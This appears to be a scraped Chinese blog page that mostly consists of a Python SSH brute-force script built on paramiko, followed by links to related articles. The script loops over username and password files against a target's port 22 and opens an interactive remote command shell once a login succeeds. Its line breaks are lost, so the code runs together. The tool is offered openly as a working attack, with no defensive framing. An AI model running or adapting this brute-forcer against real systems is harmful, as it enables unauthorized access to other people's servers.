import paramiko
import argparse
import sysdef sshbrute(user,passw,host):# 设置 flag 为 0 ,在成功登录的时候再置为 1 flag = 0try:# 使用 paramiko.SSHClient 创建 ssh 对象ssh = paramiko.SSHClient()# 允许将信任的主机自动加入到host_allow 列表,此方法必须放在connect方法的前面,接受对方的公钥证书ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())# 登录 ssh,连接失败则抛出 异常 跳转到 except ,成功则继续执行ssh.connect(hostname=host,port=22,username=user,password=passw,timeout=1)# 打印出成功登录的 用户名 和 密码print("login success! User:"+user,"Pass:"+passw)# 把 flag 置为 1flag = 1except:# 打印出 登录失败 的 用户名 和 密码print("login failed!","user:"+user,"pass:"+passw)# 如果 flag 为 1,则进入 terminalif flag == 1:while True:# 获取 输入的命令input_command = input(">>")# 如果 输入 quit 就关闭 ssh 连接,并退出程序if input_command == 'quit':print("byebye~~")ssh.close()exit(0)# 执行 输入的命令stdin,stdout,stderr = ssh.exec_command(input_command)# 获取 返回的结果 并打印result = stdout.read()print(str(result,'utf-8'))if __name__ == "__main__":# 自定义接受参数parse = argparse.ArgumentParser("python3 "+sys.argv[0])parse.add_argument("-u <USER>","--user",help="login with user name")parse.add_argument("-U <USERFILE>","--userfile",help="load user from USERfile")parse.add_argument("-p <PASS>","--passwd",help="try passwd with PASS")parse.add_argument("-P <PASSFILE>","--passfile",help="load PASS from PASSFILE")parse.add_argument("-t","--target",help="client ip ")# 把接受到的参数保存在变量中args = parse.parse_args()user = args.userpassw = args.passwdtarget = args.targetufile = args.userfilepfile = args.passfile# 判断 target 是否存在if not target:print("target not set! use -h to get help!")exit(0)# 如果 输入了 -U 和 -P 参数则循环读出 ufile 中的 用户名 和 pfile 中的密码if ufile and pfile:tmp_ufile = open(ufile,'r')tmp_pfile = open(pfile,'r')# 循环输入用户名for a in tmp_ufile.readlines():tmp_pfile = open(pfile,'r')# 循环输入密码for b in tmp_pfile.readlines():sshbrute(a.replace('\n',''),b.replace('\n',''),target)# 密码读取完后需要关闭 在下一次读取的时候重新打开tmp_pfile.close()tmp_ufile.close()# 如果 输入了 -P 和 -u 则循环读出 pfile 中的 密码,用 <user> 和 pfile中的密码登录 elif pfile and user:tmp_pfile = open(pfile,'r')res_pfile = tmp_pfile.readlines()tmp_pfile.close()for i in res_pfile:sshbrute(user,i.replace('\n',''),target)# 如果 输入了 -U 和 -p 就循环读出 ufile 中的用户名,用 <passw> 和 ufile中的用户名登录elif ufile and passw:tmp_ufile = open(ufile,'r')res_ufile = tmp_ufile.readlines()tmp_ufile.close()for i in res_ufile:sshbrute(i.replace('\n',''),passw,target)# 如果直接给出了 用户名和密码 则直接使用给出的用户名和密码登录elif user and passw:sshbrute(user,passw,target)

python 实现ssh爆破相关推荐

  1. python ssh 爆破_ssh爆破(python脚本)

    最近在乌云看到一份端口详解:为了锻炼自己,按照端口详解写脚本 #!/usr/local/bin/ python # -*- coding: UTF-8 -*- __author__ = 'yangxi ...

  2. Python SSH爆破以及Python3线程池控制线程数

    源自一个朋友的要求,他的要求是只爆破一个ip,结果出来后就停止,如果是爆破多个,完全没必要停止,等他跑完就好 #!usr/bin/env python #!coding=utf-8__author__ ...

  3. CentOS 7安装fail2ban+Firewalld防止SSH爆破

    一.前言 fail2ban可以监视你的系统日志,然后匹配日志的错误信息执行相应的屏蔽动作.网上大部分教程都是关于fail2ban+iptables组合,考虑到CentOS 7已经自带Firewalld ...

  4. 一次SSH爆破攻击haiduc工具的应急响应

    一.概述 2022年3月底,在网络安全监测中发现某网络攻击组织利用SSH爆破投放挖矿程序的活动比较活跃,主要涉及的是一个haiduc的工具. 二.检测定位阶段工作说明 2.1.异常现象确认 服务器被植 ...

  5. 审计系统---堡垒机python下ssh的使用

    堡垒机python下ssh的使用 [堡垒机更多参考]http://www.cnblogs.com/alex3714/articles/5286889.html [paramiko的Demo实例]htt ...

  6. python通过ssh通道连接PostgreSQL数据库(mysql等类同)

    目录 一.问题需求 二.解决办法 一.问题需求 对于有ssh通道设置的数据库连接,遇到已经有一段时间了.之前老是疑惑,使用Navicat之类的工具就可以连接数据库,但用python就是连接不到.之前写 ...

  7. 如何登linux陆数据库,python通过SSH登陆linux并操作的实现.pdf

    python通通过过SSH登登陆陆linux并并操操作作的的实实现现 这篇文章主要介绍了python通过SSH登陆linux并操作的实现,文中通过示例代码介绍的非常详细,对大家的学习 或者工作具有一定 ...

  8. Python使用SSH代理访问远程Docker

    Python使用SSH代理访问远程Docker Docker 20.10.17 Python 2.7 1 前言 Python中有个叫docker-py的客户端库用来操作docker,关于docker- ...

  9. python远程ssh连接linux

    python远程ssh连接linux 1.安装第三方库paramiko pip install paramiko 2.创建ssh客户端,并连接 ssh = paramiko.SSHClient()# ...

最新文章

  1. BZOJ3083: 遥远的国度(树链剖分)
  2. tomcat多个端口对应多个web应用
  3. linux如何判断同名进程个数,Linux下判断是否存在多个同名进程
  4. Qt图形界面编程入门(标签与槽机制习题分享)
  5. Spring jdbc Template和Spring 事务管理
  6. 19 MM配置-BP业务伙伴-定义编码范围
  7. java 对象protected,Java对象类protected void finalize throws Throwable方法示例
  8. 判断conime.exe是不是病毒!
  9. html 网页表格居中,网页中表格如何居中
  10. 阿里云服务器配置docker及其使用
  11. html5移动端选择城市,移动端城市选择插件(原创)
  12. 基于PHP服装购物网站的设计与实现
  13. vue中trigger用法
  14. Python暴力破解教程: Zip加密文件, pdf加密书籍在线爆破!
  15. Java使用Imageio拆分gif图片时保存的图片变为黑色
  16. Android的读写文件权限
  17. op 分析 这个绝对值电路OP1是怎么工作的?
  18. HTML5-canvas标签结合简单实例讲解
  19. Unity 第三人称 摄像机
  20. jQuery实现图片卡片层叠式切换效果

热门文章

  1. ie11对象不支持此属性和方法 ie11的缓存问题
  2. 线程安全问题的原因和解决方案
  3. Spring基本运行
  4. python爬取小说写入txt_燎原博客—python爬取网络小说存储为TXT的网页爬虫源代码实例...
  5. 微信小程序实现生成二维码功能并下载到本地
  6. 基于51单片机的电梯控制器设计资料全套。
  7. 找不到wpcap.dll解决方法
  8. 现代控制理论(3)——线性控制系统的能控性和能观性
  9. vscode配置C++环境(图文详解)
  10. 润乾配置连接kingbase(金仓)数据库